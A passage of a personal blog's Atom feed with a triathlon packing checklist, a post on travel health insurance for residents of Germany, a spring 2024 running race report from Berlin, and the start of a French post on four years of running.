&lt;li&gt;&lt;input type="checkbox" /&gt;New chainring &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;&lt;a href="https://www.youtube.com/watch?v=8LqTmvuf6tw"&gt;When to replace?&lt;/a&gt;&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;New rim tape&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="things-to-bring-on-the-race-weekend"&gt;🧳 Things to bring on the race weekend&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Allen keys and other appropriate tools&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Duct tape &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;In case you need to tape things&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Scissors&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;A Sharpie &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To write on the water bottles what's inside,&lt;br /&gt;and whether it's for the bike or the run.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Rubber band &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To hold the rear mounted bottle to the holder&lt;/details&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="things-to-do-on-saturday"&gt;📋 Things to do on Saturday&lt;/h1&gt;
&lt;h2 id="things-to-clarify-during-the-briefing-meeting"&gt;❓ Things to clarify during the briefing meeting&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Can you access T1 and T2 bags on the race morning?&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Where to store your after-race clothes? In the white (street wear) bag? Where to leave it?&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;What food is provided? What brand of gels?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bring-the-bike-to-the-transition-area"&gt;🚴 Bring the bike to the transition area&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Bike &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Make it lightweight.&lt;br /&gt;Remove unnecessary equipment, such as lights.&lt;br /&gt;To buy a second hand bike: &lt;a href="https://buycycle.com/"&gt;Buycycle&lt;/a&gt; or &lt;a href="https://biked.com/"&gt;Biked&lt;/a&gt;.&lt;br /&gt;To get a discount from Canyon, go to a Canyon shop and do a test ride.&lt;br /&gt;You'll get the bike guard for free (19.9 euros) via a code over email.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Di2 battery charged&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;2 CO2 cannisters with inflator, and tire levers &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To store in the frame&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;2 spare tubes and a multi tool &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To store in the bottom bracket box,&lt;br /&gt;it would suck to drop it mid-race or forget about it during T2&lt;br /&gt;and start running with it.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;A mini pump (optional) &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Taped to the bike frame, not in the trisuit,&lt;br /&gt;it would suck to drop it mid-race or forget about it during T2&lt;br /&gt;and start running with it.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Glueless patches (optional)&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Anti puncture liquid for tubes / sealant (optional) &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Interesting readings: &lt;a href="https://www.reddit.com/r/triathlon/comments/3t0g71/puncture_in_race/"&gt;here&lt;/a&gt; and &lt;a href="https://www.reddit.com/r/IronmanTriathlon/comments/p1hohl/comment/h8e6c9n/"&gt;there&lt;/a&gt;&lt;/details&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="blue-blag-transition-t1-swim-bike"&gt;🔵 Blue blag (transition T1 - swim ➡️ bike)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;A triathlon belt with bib number &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To display the bib number&lt;br /&gt;To be worn until the end of the race.&lt;br /&gt;Bib number in the back while cycling.&lt;br /&gt;Bib number on the belly while running.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;A small towel &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To dry your feet and remove the dirt&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Helmet&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Glasses &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To be worn for both the cycling and running legs&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Bike shoes &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Some leave them attached to the pedals, ahead of the race, ready to go.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Low cut running socks &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To be worn for both the cycling and running legs&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Fingerless gloves&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="red-bag-transition-t2-bike-running"&gt;🔴 Red bag (transition T2 - bike ➡️ running)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Race running shoes with elastic laces &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Asics Metaspeed Sky Paris&lt;br /&gt;Orca's Speed laces&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;A cap &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;For style, or sun&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Nutrition (4x Maurten 100 gels) &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;During T2, you'll store nutrition in your trisuit pockets.&lt;/details&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="before-bedtime"&gt;🛏️ Before bedtime&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Fill your 3x water bottles and put them in a plastic bag&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Put your swim gear in your ⚪ white bag (street wear)&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Make a pile of what you need to put on first thing tomorrow morning&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Write down on a sheet of paper what you need to do tomorrow morning&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Inflate tires&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- 3x bottles + 4x gels on bike&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- GPS in blue bag&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Flip flops / shoes in white bag&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- Airplane mode off on the watch (for HRM strap + Garmin Extended Display)&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Stick this sheet on your white bag as a reminder&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="race-day"&gt;🏁 Race day&lt;/h1&gt;
&lt;h2 id="things-youll-wear-the-whole-race-put-on-when-getting-up"&gt;🩱 Things you'll wear the whole race - put on when getting up&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Trisuit &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;My favorite ones: Z3r0d Racer and Zoot's Ultra Tri P1&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Anti-chafing cream &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Between the legs&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;A charged smartwatch &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;&lt;a href="https://www.reddit.com/r/triathlon/comments/doqkn5/a_few_tips_for_setting_up_a_garmin_watch_for_a/"&gt;Here are a few tips for setting up a garmin watch for a triathlon&lt;/a&gt;&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;A transponder worn on the left ankle &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Provided by the organization&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;A waterproof HRM chest strap &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;&lt;a href="https://www.garmin.com/fr-FR/p/770963"&gt;Garmin HRM-Pro Plus&lt;/a&gt;&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;&lt;s&gt;Aero calf sleeves&lt;/s&gt; &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To be &lt;a href="https://www.reddit.com/r/triathlon/comments/1766z7k/aero_calf_sleeves_best_ones/"&gt;a little faster on the bike&lt;/a&gt;.&lt;br /&gt;&lt;a href="https://www.compressport.com/fr/manchon-de-compression-mollet/2023-r2-aero-white-black-7630102591323.html"&gt;Some will also serve as compression sleeves when running.&lt;/a&gt;&lt;br /&gt;To be worn the whole time, &lt;a href="https://www.reddit.com/r/triathlon/comments/10drh2b/do_triathletes_swim_with_compression_calf_sleeves/"&gt;under the wetsuit first&lt;/a&gt;.&lt;br /&gt;If no wetsuit allowed, to be worn only from the cycling leg onward.&lt;br /&gt;&lt;strong&gt;I DO NOT RECOMMEND CALF SLEEVES ANYMORE - I tried&lt;/strong&gt;&lt;br /&gt;They slip down when taking off the wetsuit and are hard to put back on.&lt;br /&gt;It's best to shave one's legs.&lt;/details&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="white-bag-stree-wear-things-for-before-and-after-the-race"&gt;⚪ White bag (stree wear - things for before and after the race)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Flip flops / street shoes &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To wear before the start of the race in the morning,&lt;br /&gt;while preparing everything in the transition area.&lt;br /&gt;Better than walking around barefoot.&lt;br /&gt;Easy to hand back to people accompanying you.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;One bottle of water &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;While you wait for the swim&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Sunscreen &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;To apply before putting the wetsuit on&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Warm clothes&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="on-race-morning-ahead-of-the-race-bring-to-your-bike"&gt;🚴 On race morning ahead of the race, bring to your bike&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;3x water bottles filled &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;One filled with only water,&lt;br /&gt;two with 1x Maurten Drink Mix 320 in each.&lt;br /&gt;On a 70.3, do not grab anything from aid stations.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Nutrition (3x Maurten 100 gels)&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Some more air into your tires! Top it up with someone else's pump.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="additional-item-to-leave-in-the-blue-bag-ahead-of-the-race"&gt;🔵 Additional item to leave in the blue bag ahead of the race&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Bike computer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="for-swimming"&gt;🏊 For swimming&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Swimming cap (x2) &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Usually provided by the organization.&lt;br /&gt;Some recommend two caps so as to "wedge" the goggles between them.&lt;/details&gt;&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Swimming goggles&lt;/li&gt;
&lt;li&gt;&lt;input type="checkbox" /&gt;Wetsuit &lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;Optional: sometimes allowed, sometimes forbidden, sometimes mandatory.&lt;br /&gt;Made for triathlon, not diving.&lt;/details&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="videos-and-links"&gt;Videos and links&lt;/h1&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/qcy1s4raoEE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/p5KLCtdhOUE" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;a href="https://www.racepaceapp.com/triathlon-checklist"&gt;https://www.racepaceapp.com/triathlon-checklist&lt;/a&gt;&lt;/p&gt;
&lt;style&gt;
article h1 {
    font-size: 1.5rem;
}

article h2 {
    font-size: 1.3rem;
}

#to-change-on-the-bike-weeks-ahead-of-the-race ~ ul {
    list-style: none;
    padding: 5px 10px;
    background-color: #EEEEEE;
    border-radius: 10px;
}

#to-change-on-the-bike-weeks-ahead-of-the-race ~ ul li details {
    display: inline-block;
    vertical-align: top;
    color: #666666;
}

#to-change-on-the-bike-weeks-ahead-of-the-race ~ ul li details summary {
    font-style: italic;
}
&lt;/style&gt;</content><category term="Sports"></category><category term="triathlon"></category><category term="swim"></category><category term="bike"></category><category term="running"></category></entry><entry><title>Traveling Outside Europe as a Resident in Germany</title><link href="https://romainpellerin.eu/traveling-outside-europe-as-a-resident-in-germany.html" rel="alternate"></link><published>2024-05-29T17:00:00+02:00</published><updated>2024-06-11T10:20:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-05-29:/traveling-outside-europe-as-a-resident-in-germany.html</id><summary type="html">&lt;p&gt;Things to know and do before traveling outside Europe&lt;/p&gt;</summary><content type="html">&lt;p&gt;As a resident in Germany, you must have (by law!) a health insurance, even if unemployed. With this insurance comes a European Health Insurance Card (EHIC), that grants you insurance in any European country plus a few (Iceland, Liechtenstein, Norway, Switzerland and the United Kingdom) "&lt;em&gt;under the same conditions and at the same cost (free in some countries) as people insured in that country&lt;/em&gt;" (&lt;a href="https://ec.europa.eu/social/main.jsp?catId=559"&gt;source&lt;/a&gt;).&lt;/p&gt;
&lt;h1 id="but-what-happens-when-traveling-outside-europe"&gt;But what happens when traveling outside Europe?&lt;/h1&gt;
&lt;p&gt;You're basically on your own, and it very much depends on the country you're in. Some will charge crazy amounts for any treatment or care (hello USA!), some are cheap. Also, what if you need repatriation?&lt;/p&gt;
&lt;p&gt;Because you want to travel stress-free, I recommend taking out a private health insurance for trips abroad. For example, I am insured with &lt;a href="https://www.tk.de/"&gt;TK&lt;/a&gt; and they offer &lt;a href="https://www.tk.de/service/app/2037704/envivas/reise.app"&gt;two options&lt;/a&gt;, depending on how long the trips are. For trips under 60 days, the options are:&lt;/p&gt;
&lt;h2 id="travelplus-travelxn-via-envivas"&gt;TravelPlus (TravelXN), via Envivas&lt;/h2&gt;
&lt;p&gt;It's a yearly subscription of &lt;strong&gt;11.9 euros&lt;/strong&gt; that you pay until you cancel it (you can cancel this anytime). And you're covered!&lt;/p&gt;
&lt;h2 id="tk-tarif-traveller-also-via-envivas"&gt;TK-Tarif Traveller, also via Envivas&lt;/h2&gt;
&lt;p&gt;It's a free contract (no charges), and it stops being free the day you need treatment abroad (but you won't pay more than 24 euros per year). It's a 3-year contract, that cannot be terminated earlier. Also, it's considered as an optional deductible tariff, meaning TK will let the Finanzamt (tax office) know that you signed up for this. The value of this "monetary benefit" is 11.90, and you'll have to state this in your Steuererklärung (tax declaration) and probably pay some tax off it every year (a couple of euros).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Der TK-Tarif Traveller ist ein Selbstbehalt-Wahltarif und enthält als Prämie eine private Auslandsreise-Krankenversicherung der Envivas Krankenversicherung AG für unbegrenzt viele Privat- und Geschäftsreisen bis zu einer Dauer von 60 Tagen. [...] Die Techniker ist gesetzlich verpflichtet, den geldwerten Vorteil des Reiseschutzes von jährlich 11,90 Euro zur Versteuerung an die Finanzbehörden zu melden.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;I would recommend the first option, as it's very cheap, you can terminate the contract anytime, and it has nothing to do with your Steuererklärung. I would also only recommend taking out a private health insurance for trips abroad depending on your destination, how far from home it is, how expensive treatements in this country are... For the USA for instance, it's a no brainer, totally worth taking this out.&lt;/p&gt;
&lt;h1 id="online-resources"&gt;Online resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.thelocal.de/20240611/does-my-german-health-insurance-cover-me-if-i-get-sick-abroad"&gt;Does my German health insurance cover me if I get sick abroad?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="travel"></category><category term="germany"></category><category term="tk"></category><category term="die techniker"></category></entry><entry><title>Spring 2024</title><link href="https://romainpellerin.eu/spring-2024.html" rel="alternate"></link><published>2024-05-10T19:00:00+02:00</published><updated>2024-05-10T19:00:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-05-10:/spring-2024.html</id><summary type="html">&lt;p&gt;Epic tales from my running races&lt;/p&gt;</summary><content type="html">&lt;p&gt;We're not even 2 months into spring, yet it's been a hell of a spring so far!&lt;/p&gt;
&lt;p&gt;First of all, just a little over a month ago, I was running the &lt;a href="https://romainpellerin.eu/lessons-learned-apres-4-ans-de-running.html"&gt;Berlin half-marathon&lt;/a&gt; in 01:41:51, my best time ever! I ran it wearing my Asics Gel-Kayano 30. And even though I broke a personal record, I remember the last 3 or 4 kms being really hard. I was not wearing any HRM chest strap, so the numbers are probably slightly off, but my Strava reports an average heart rate of 183 bpm throughout the race, with a peak at 198 bpm in the last kilometers. Needless to say, I was not in my best form. And clearly the shoes did not help.&lt;/p&gt;
&lt;p&gt;After that race, I had 2 other races planned in the coming weeks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In April, the &lt;a href="https://berliner-firmenlauf.de/"&gt;Berliner Firmenlauf (~5.5 kms)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;In May, the oldest running race of Berlin, the &lt;a href="https://berlin-laeuft.de/s25berlin/"&gt;S25 Berlin (25 kms)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So shortly after the half-marathon, I decided two things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;I needed better shoes, specifically I needed race shoes&lt;/li&gt;
&lt;li&gt;I wanted to get more accurate heart rate numbers&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I was really keen on buying the newly released Asics Metaspeed Sky Paris, but unfortunately they had been sold out almost since the day they were released. So I ended up buying the Saucony Endorphin Pro 4.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/spring-2024/saucony-endorphin-pro-4.jpg" alt="My Saucony shoes" /&gt;
&lt;figcaption&gt;My new shoes. Pro tip: &lt;a href="https://www.youtube.com/watch?v=5LqoqwA7CFs"&gt;tie the Marathon knot&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I had been owning a Wahoo Tickr (HRM) for a while. Actually, it was my second one. But like the first, this one had recently started showing signs of wear, &lt;a href="https://www.reddit.com/r/wahoofitness/comments/10u872d/tickr_showing_low_heart_rate/"&gt;specifically I'd see drops in the middle of a ride/run, it would show very low readings&lt;/a&gt;. That's why I was never wearing it while running. Consequently, I decided it was time to give Garmin HRMs a try, and I bought the Garmin HRM-dual chest strap.&lt;/p&gt;
&lt;h1 id="berliner-firmenlauf-55-kms"&gt;Berliner Firmenlauf (~5.5 kms)&lt;/h1&gt;
&lt;p&gt;This race is a "company race", a race for which companies pay a hefty price so that their employees can take part. It is short (around 5.5 kms). There are many amateur runners, and very few competitive ones. The organizers claim there will be starting waves but on the race day, we all started together, in one giant disorganized mass, slow and fast runners all mixed together, with big groups of colleagues trying to stick together (understandably).&lt;/p&gt;
&lt;video controls&gt;
    &lt;source src="./videos/spring-2024/berliner-firmenlauf-start.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;p&gt;Nonetheless, I had decided I would give it my best, and aim for under 4' per kilometer. When the starting gun went off, I quickly picked up the pace and started zigzagging between looads of people, sometimes running on the sidewalk. It was the first time I was wearing my Saucony on a race, and they felt like magic. It made my run so effortless! &lt;a href="https://www.strava.com/activities/11256038770/overview"&gt;I managed to survive a pace of 3'55"/km for more than 5 kms, and finished first out of the 62 participants of my company.&lt;/a&gt;&lt;/p&gt;
&lt;video controls&gt;
    &lt;source src="./videos/spring-2024/berliner-firmenlauf-ziel.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/spring-2024/berliner-firmenlauf-strava.png" alt="Screenshot of Strava" style="float:right" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Result: 20'45" (chip time) over 5.5 kms (official distance), 5.3 kms according to Strava.&lt;/strong&gt; Overall, 190 out of 13,170 participants.&lt;/p&gt;
&lt;div style="clear:both"&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/spring-2024/watch-prediction-5k.jpg" alt="Watch prediction" style="float:left" /&gt;&lt;/p&gt;
&lt;p&gt;Prior to the race, my watch was giving me an estimate of 18'56" for 5 kms. I hit 19'29", according to Strava. Close enough!&lt;/p&gt;
&lt;div style="clear:both"&gt;&lt;/div&gt;

&lt;h1 id="s25-berlin-25-kms"&gt;S25 Berlin (25 kms)&lt;/h1&gt;
&lt;p&gt;The Berliner Firmenlauf was only the amuse-bouche. The real challenge for me was coming in May, in the form of a 25-km race: S25 Berlin.&lt;/p&gt;
&lt;p&gt;However, I did not fear this race much, unlike the half-marathon in April. I took it a lot less seriously. I knew I would be able to perform at least as well as I did in the half-marathon, thanks to the new shoes and my constant training. Let's say that the Berliner Firmenlauf had boosted my confidence quite significantly, and my general form was peaking in the days leading up to the race.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/spring-2024/watch-prediction-21k.jpg" alt="Watch prediction" style="float:right" /&gt;&lt;/p&gt;
&lt;p&gt;My Garmin race prediction for a half-marathon was 1:31:40 the night before the race. Again, it will turn out to be quite optimistic, but it still gives a rough idea of one's progression since the last race, if compared with the previous prediction.&lt;/p&gt;
&lt;p&gt;So, like I said, the pressure was much lower for this race. The week before, I was able to sleep just fine. Only the night before was a little more... agitated 😁 but that's expected. I guess going from race to race over a short amount of time also helps relax.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/spring-2024/s25-prep.jpg" alt="My running gear" /&gt;
&lt;figcaption&gt;Ready for race day!&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Nutrition-wise, I had decided for 1 pre-race gel, and 4 during the race, roughly spaced by 5 kms.&lt;/p&gt;
&lt;p&gt;Race day. 2 hours before, I ate 3 energy bars, 40 grams of pasta and pesto, half a banana and drank some coffee, then I took off. I showed up there almost 40 minutes before the race. Dropped my bag off, one last pitstop in the bathroom, and I'm entering my block (2nd block out of 4) 5 minutes before the start, after having warmed up. BANG! the gun goes off. I don't forget to smile for the photos and off we go!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/spring-2024/s25-start.jpg" alt="Photo on the starting line" /&gt;
&lt;figcaption&gt;💪&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The race went overall very well. I was wearing my Garmin HRM chest strap. My heart averaged in the 160s all the time, which was great, but also a sign that I was not pushing hard enough 😅.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/spring-2024/s25-strava.png" alt="Screenshot of Strava" style="float:left" /&gt;&lt;/p&gt;
&lt;p&gt;I had set up my watch to do a negative split, through the feature PacePro Plan: 4'40" in the first half, 4'38" in the second half was the plan. I ended up running faster than this, as my Strava tells. I broke 2 records on that day: &lt;strong&gt;01:38:19 for the half-marathon (official time, &lt;a href="https://www.strava.com/activities/11336742799"&gt;Strava reports 01:36:40&lt;/a&gt;), and my longest distance ever run, 25 kms in 01:55:26 (official chip time)!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Entering the stadium after a long tunnel was breathtaking! I remember the feeling, running on the track, in the very stadium that welcomed the olympics of 1936 almost gave me goosebumps. What a race!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/spring-2024/s25-race.jpg" alt="Photo minutes before crossing the finish line" /&gt;
&lt;figcaption&gt;Minutes before the finish line, I still had way too much energy 😂&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;With hindsight, here are some lessons learned through that race:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;With preparation and planning comes confidence and reduced stress. I now always make a race sheet, days ahead of races, writing down my goal pace, nutrition plan, and things to do.&lt;/li&gt;
&lt;li&gt;I carb load only on Thursday and Friday, not on Saturday. I eat normally on that day, I simply avoid fibers and prefer for instance white pasta. Also, the week before the race, I take magnesium and potassium supplementation (&lt;a href="https://www.doppelherz.de/produkte/doppelherz-aktiv-magnesium-kalium-brausetabletten"&gt;Doppelherz Magnesium + Kalium Sport&lt;/a&gt;). Not sure if that helps at all or not... but the placebo effect is real.&lt;/li&gt;
&lt;li&gt;🚽-wise, one of my greatest fears is a sudden need to go to the bathroom during a race. I've been trying a new "protocol" for the half-marathon and the S25 Berlin races, that worked out nicely. While carb loading the days before, I've tried changing my number 2 schedule so that on Friday I go twice. On Saturday, I again eat normally (no more carb loading) and therefore only go once on Saturday in the evening. Then comes Sunday morning. Normally, no need to go at all! But as I'm alway stressed about that, I've always managed to unload myself of a few unneeded grams, minutes before the race 😆.&lt;/li&gt;
&lt;li&gt;Sleep-wise, I still need to improve. On any day of the year, it's almost impossible for me to get into bed before midnight. I'd like to change that on the long term, so that I can get more sleep on race days. Factoring in stress and everything, I usually never fall asleep before 2am on race days, and oftentimes wake up naturally way before my alarm clock.&lt;/li&gt;
&lt;li&gt;My breakfast was a little too light, I was almost hungry before starting the race. Next time I should aim for a full banana and maybe a fourth energy bar.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Coming up next: the Berlin triathlon, in June!&lt;/p&gt;</content><category term="Running"></category><category term="running"></category></entry><entry><title>Lessons learned après 4 ans de running</title><link href="https://romainpellerin.eu/lessons-learned-apres-4-ans-de-running.html" rel="alternate"></link><published>2024-04-15T01:51:00+02:00</published><updated>2025-03-30T12:46:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-04-15:/lessons-learned-apres-4-ans-de-running.html</id><summary type="html">&lt;p&gt;Résumé des 4 dernières années, de "j'aime pas courir" à "sign me up for a marathon"&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'ai pour ainsi dire jamais aimé courir pour courir... jusqu'à ce que le COVID-19 soit.&lt;/p&gt;
&lt;h1 id="2020"&gt;2020&lt;/h1&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/premier-run.png" alt="Mon premier run" style="float:left" /&gt;&lt;/p&gt;
&lt;p&gt;Pas manqué, 30 mars 2020, &lt;a href="https://www.strava.com/activities/3235667415"&gt;premier run ever enregistré sur mon Strava&lt;/a&gt;. Pas ouf... Mais il faut bien un début à tout.&lt;/p&gt;
&lt;p&gt;Mon nouvel intérêt n'aura qu'à moitié pris. Sur 2020, seulement 18 runs enregistrés sur Strava, avec une régularité décroissante au fur et à mesure de l'année dès fin Avril, et même carrément 3 mois sans courir du tout, d'Août à Octobre. 2020 correspond aussi à l'année où je me suis mis au vélo de route assez sérieusement, à partir d'Avril. Pédaler ou courir, mon choix a été vite fait.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://romainpellerin.eu/images/lessons-learned-apres-4-ans-de-running/premier-10km.png" alt="Mon premier 10km" style="float:right" /&gt;&lt;/p&gt;
&lt;p&gt;Mais il semblerait que l'hiver pointant le bout de son nez aura suffit à me re-motiver un peu. 31 décembre 2020, &lt;a href="https://www.strava.com/activities/4545027845"&gt;j'enregistre mon premier 10 km ever, en 1 heures 7 minutes&lt;/a&gt;. Pas mal ! En tout, sur cette première année de course 2020, mon volume total aura été de... 68.5 kms 😂. Vélo : 4,272 kms.&lt;/p&gt;
&lt;h1 id="2021"&gt;2021&lt;/h1&gt;
